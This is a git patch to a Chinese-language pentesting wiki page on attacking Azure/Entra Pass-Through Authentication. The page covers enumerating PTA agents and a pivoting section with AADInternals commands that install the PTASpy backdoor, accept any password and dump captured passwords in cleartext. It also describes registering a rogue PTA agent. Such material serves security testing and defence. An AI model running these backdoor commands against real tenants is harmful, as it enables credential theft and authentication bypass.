From 1be88d348d9e43a0257f4aba870a2c4dd5c49c3f Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 24 Jul 2025 11:26:15 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo --- .../pta-pass-through-authentication.md | 72 +++++++++++++------ 1 file changed, 52 insertions(+), 20 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md index 5442e41e1..160b44e2a 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md @@ -4,38 +4,72 @@ ## 基本信息 -[来自文档:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) 通过身份验证允许用户使用相同的密码**登录本地和基于云的应用程序**。此功能为用户提供了更好的体验 - 记住一个密码更少,并且减少了IT帮助台的成本,因为用户不太可能忘记如何登录。当用户使用Azure AD登录时,此功能**直接验证用户的密码与本地Active Directory**。 +[来自文档:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra 透传身份验证允许您的用户使用相同的密码**登录本地和基于云的应用程序**。此功能为您的用户提供了更好的体验——记住一个密码更少,并且减少了 IT 帮助台的成本,因为您的用户不太可能忘记如何登录。当用户使用 Microsoft Entra ID 登录时,此功能会直接针对您的本地 Active Directory 验证用户的密码。 -在PTA中,**身份**是**同步**的,但**密码****不是**,就像在PHS中一样。 +在 PTA 中,**身份**是**同步**的,但**密码**不像 PHS 那样。 -身份验证在本地AD中进行验证,与云的通信由在**本地服务器**上运行的**身份验证代理**完成(它不需要在本地DC上)。 +身份验证在本地 AD 中验证,与云的通信由在**本地服务器**上运行的**身份验证代理**完成(它不需要在本地 DC 上)。 ### 身份验证流程
1. 为了**登录**,用户被重定向到**Azure AD**,在这里他发送**用户名**和**密码** -2. **凭据**被**加密**并放入Azure AD中的**队列** -3. **本地身份验证代理**从队列中收集**凭据**并**解密**它们。这个代理被称为**“通过身份验证代理”**或**PTA代理**。 -4. **代理**将凭据与**本地AD**进行**验证**,并将**响应****返回**给Azure AD,如果响应是积极的,**完成用户的登录**。 +2. **凭据**被**加密**并放入 Azure AD 的**队列**中 +3. **本地身份验证代理**从队列中收集**凭据**并**解密**它们。这个代理被称为**“透传身份验证代理”**或**PTA 代理**。 +4. **代理**将凭据与**本地 AD**进行**验证**,并将**响应****返回**给 Azure AD,如果响应是积极的,**完成用户的登录**。 > [!WARNING] > 如果攻击者**破坏**了**PTA**,他可以**查看**队列中的所有**凭据**(以**明文**形式)。\ -> 他还可以**验证任何凭据**到AzureAD(类似于Skeleton key的攻击)。 +> 他还可以**验证任何凭据**到 AzureAD(类似于 Skeleton key 的攻击)。 -### 本地 -> 云 +### 枚举 -如果您对运行**PTA** **代理**的**Azure AD Connect服务器**具有**管理员**访问权限,您可以使用**AADInternals**模块**插入后门**,这将**验证所有输入的密码**(因此所有密码都将有效进行身份验证): +来自 Entra ID: ```bash -Install-AADIntPTASpy +az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents' +# Example response: +{ +"@odata.context": "https://graph.microsoft.com/beta/$metadata#onPremisesPublishingProfiles('authentication')/agentGroups(agents())", +"value": [ +{ +"agents": [ +{ +"externalIp": "20.121.45.57", +"id": "4a000eb4-9a02-49e4-b67f-f9b101f8f14c", +"machineName": "ConnectSync.hacktricks-con.azure", +"status": "active", +"supportedPublishingTypes": [ +"authentication" +] +} +], +"displayName": "Default group for Pass-through Authentication", +"id": "d372d40f-3f81-4824-8b9e-6028182db58e", +"isDefault": true, +"publishingType": "authentication" +} +] +} +``` +检查代理是否在本地服务器上运行: +```bash +Get-Service -Name "AzureADConnectAuthenticationAgent" +``` +## Pivoting + +如果您对运行 **PTA** **代理** 的 **Azure AD Connect 服务器** 拥有 **admin** 访问权限,您可以使用 **AADInternals** 模块 **插入后门**,以 **验证所有输入的密码**(因此所有密码都将有效用于身份验证): +```bash +Install-Module AADInternals -RequiredVersion 0.9.3 +Import-Module AADInternals +Install-AADIntPTASpy # Install the backdoor, it'll save all the passwords in a file +Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the passwords in clear-text + +Remove-AADIntPTASpy # Remove the backdoor ``` > [!NOTE] > 如果**安装失败**,这可能是由于缺少 [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe)。 -还可以使用以下 cmdlet 在安装了之前后门的机器上**查看发送到 PTA 代理的明文密码**: -```bash -Get-AADIntPTASpyLog -DecodePasswords -``` 这个后门将会: - 创建一个隐藏文件夹 `C:\PTASpy` @@ -45,20 +79,18 @@ Get-AADIntPTASpyLog -DecodePasswords > [!NOTE] > 当 AzureADConnectAuthenticationAgent 服务被重启时,PTASpy 会被“卸载”,必须重新安装。 -### 云 -> 本地 - > [!CAUTION] -> 在云上获得 **GA 权限** 后,可以通过在 **攻击者控制的机器** 上设置 **注册一个新的 PTA 代理**。一旦代理 **设置完成**,我们可以 **重复** **之前** 的步骤来 **使用任何密码进行身份验证**,并且 **获取明文密码**。 +> 在云中获得**GA权限**后,可以**注册一个新的PTA代理**,并且可以**重复**之前的步骤**使用任何密码进行身份验证**,并且**以明文获取密码**。 -### 无缝 SSO +### Seamless SSO -可以使用无缝 SSO 与 PTA,这对其他滥用是脆弱的。请查看: +可以使用 PTA 的 Seamless SSO,这对其他滥用是脆弱的。请查看: {{#ref}} seamless-sso.md {{#endref}} -## 参考文献 +## References - [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta) - [https://aadinternals.com/post/on-prem_admin/#pass-through-authentication](https://aadinternals.com/post/on-prem_admin/#pass-through-authentication)